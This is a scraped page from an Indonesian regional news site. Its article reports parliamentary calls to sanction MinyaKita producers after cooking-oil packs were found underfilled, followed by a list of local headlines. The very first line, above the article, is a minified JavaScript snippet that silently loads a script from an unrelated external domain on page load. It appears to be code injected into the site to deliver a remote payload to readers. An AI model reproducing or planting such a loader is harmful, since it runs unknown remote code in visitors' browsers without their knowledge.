(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

MinyaKita Terbukti Curang, DPR Desak Produsen Diberi Sanksi


KANALKALIMANTAN.COM, JAKARTA – Pemerintah didesak untuk menindak tegas produsen MinyaKita yang terbukti curang karena menjual minyak goreng kemasan tidak sesuai dengan takaran. Desakan itu disampaikan oleh Anggota Komisi IV DPR RI Cindy Monica.

“Saya mendorong Kementerian Perdagangan dan instansi terkait untuk melakukan audit menyeluruh terhadap seluruh produsen Minyakita,” ujarnya dikutip dari Antara, Senin (10/3/2025).

Menurut dia, jika pemerintah menemukan pelanggaran, maka harus ada sanksi tegas seperti peringatan keras hingga pencabutan izin usaha produsen MinyaKita.

Baca juga: Warga Aluhaluh Antusias Hadiri Safari Ramadan Bupati Banjar dan Jajaran

Ia menjelaskan bahwa langkah tersebut diperlukan karena membuat masyarakat sebagai konsumen dirugikan.

“Masyarakat berhak mendapatkan produk sesuai dengan apa yang mereka beli. Oleh sebab itu, ke depan, pengawasan harus diperketat agar kasus serupa tidak terulang,” ujarnya.

Senada dengan Cindy, Anggota Komisi IV DPR RI Riyono mengatakan bahwa tindakan tegas dari pemerintah diperlukan terhadap permasalahan tersebut.

“Kalau yang dicek sama Menteri Pertanian kurang dari 1 liter, maka perlu sanksi tegas kepada perusahaannya,” ujar Riyono dalam keterangannya di Jakarta, Senin.

Baca juga: Pelaku UMKM Terjerat Hukum, Wakil Rakyat Banjarbaru: Pendampingan Bukan Sanksi Pidana

MinyaKita Curang

Kecurangan produsen MinyaKita itu terbongkar usai Mentan Andi Amran Sulaiman menemukan produsen minyak goreng kemasan itu tidak sesuai dengan takaran di Pasar Lenteng Agung, Jakarta, Sabtu (8/3/2025).

“Ini jelas tidak cukup 1 liter,” ujar Mentan dengan nada tegas usai menemukan isi kemasan Minyakita tidak sesuai dengan yang tertera di label, yakni 750-800 mililiter, bukan 1 liter.

Pada kesempatan itu, Mentan menegaskan bahwa perusahaan yang melakukan praktik tersebut harus diproses jika terbukti melakukan pelanggaran.

Baca juga: Ditinggal Tarawih, Rumah di Kampung Arab Banjarmasin Ludes

“Kami minta untuk diproses dan jika terbukti bersalah, kami minta agar pabrik ini ditutup dan produk mereka disegel,” ujar Mentan.

Lebih lanjut Mentan mengungkapkan bahwa pihaknya telah berkoordinasi dengan Menteri Perdagangan Budi Santoso, dan Kabareskrim Polri, termasuk Satgas Pangan, untuk menindaklanjuti temuan tersebut. (Kanalkalimantan/Suara.com/kk)

Editor: kk

 


Risa

Recent Posts

Tiga Hari Hilang, Pencari Kayu Bakar Ditemukan Membusuk di A Yani Km 21

KANALKALIMANTAN.COM, BANJARBARU - Sesosok mayat laki-laki didapati tergeletak di tengah hutan rawa kawasan Jalan A… Read More

46 menit ago

1.082 Sertifikat Tanah Atas Nama Pemko Banjarbaru Diserahkan

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 1.082 persil sertifikat tanah berupa tanah jalan dan jalan fasilitas umum… Read More

3 jam ago

Camilan dan Kue Kering di Pasar Sudimampir Mulai Ramai Diburu

KANALKALIMANTAN.COM, BANJARMASIN – Pengunjung mulai terasa memadati pusat perbelanjaan pakaian dan makanan Pasar Sudimampir Banjarmasin… Read More

5 jam ago

Bupati Banjar dan Jajaran Safari Ramadan ke Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Safari Ramadan Bupati Banjar H Saidi Mansyur, Wabup Banjar Habib Idrus Al… Read More

5 jam ago

57 Pelamar Lolos Seleksi Administrasi Uji Kompetensi KPID Kalsel 2024-2027

KANALKALIMANTAN.COM, BANJARBARU - Komisi Penyiaran Indonesia Daerah (KPID) Provinsi Kalimantan Selatan mengumumkan puluhan pelamar yang… Read More

6 jam ago

Gunungan Sampah di Veteran Banjarmasin, Darurat Sampah Makin Menjadi

KANALKALIMANTAN.COM, BANJARMASIN – Darurat sampah di Banjarmasin sudah tak bisa ditolerir, keterbatasan titik kumpul sampah… Read More

18 jam ago